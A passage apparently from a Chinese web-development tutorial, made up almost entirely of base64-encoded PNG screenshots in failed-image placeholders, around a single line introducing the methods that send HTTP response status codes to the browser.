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)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KoMfaJmb-1579000970417)(data:image/png;base64,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)]

    负责向浏览器发送响应状态码的方法:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zK57b8IS-1579000970417)(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAb4AAAAxCAIAAAAqflsHAAAET0lEQVR4nO2c0XWrMAxAPVcGYh5GyBSZ4m3AEmxAP5qeR4wlS8aAaO89/UiMkIXBtzg0TUsY5nl+Pp9XVwEAUCfNAADgJD3DMM/z1SUAAJhIV9/2/mdmwQ4ANwF1AgC4QZ0AAG5QJwCAG9QJAODmNHVO4+MxTuuW15A+WlAnANyFK+86p3FAnQBwR1DnxaQU4jOTIGUA3IU+E+Y1pJQe4zSNj5Qe47RM4yOl77b19nf4z9YTF+xp+Lf+OagXL1thXagw7Algp9dsed9BTuP4WpZpfAyvdfPHq+U1fG894q6zaMZ1YxbgNWlf8zbb6gjNoU4AO/1my2sYXm8pRlanfVOXeC3VDlUdpDnsCWCk41RZP0MvLdhTSunHme8F+8eSvahOaaG9bcwiM8FJLXq8Jf/6rV5n3sWnp35GJGUt6xfrsCxYohgsZUCdAEYCTZWtOqWFdtsC3KjUhvwNdS6Cp4o+3W4yOq64i5IHdQIYCTRV9LvOYqN0l6f00qDaZnVK9b832dRZfa3jurVEnQBGAk0V5bNOr++UXoypsjW4Hq/fXYqNp6jTtS/qBDASaKoct2C/Kr6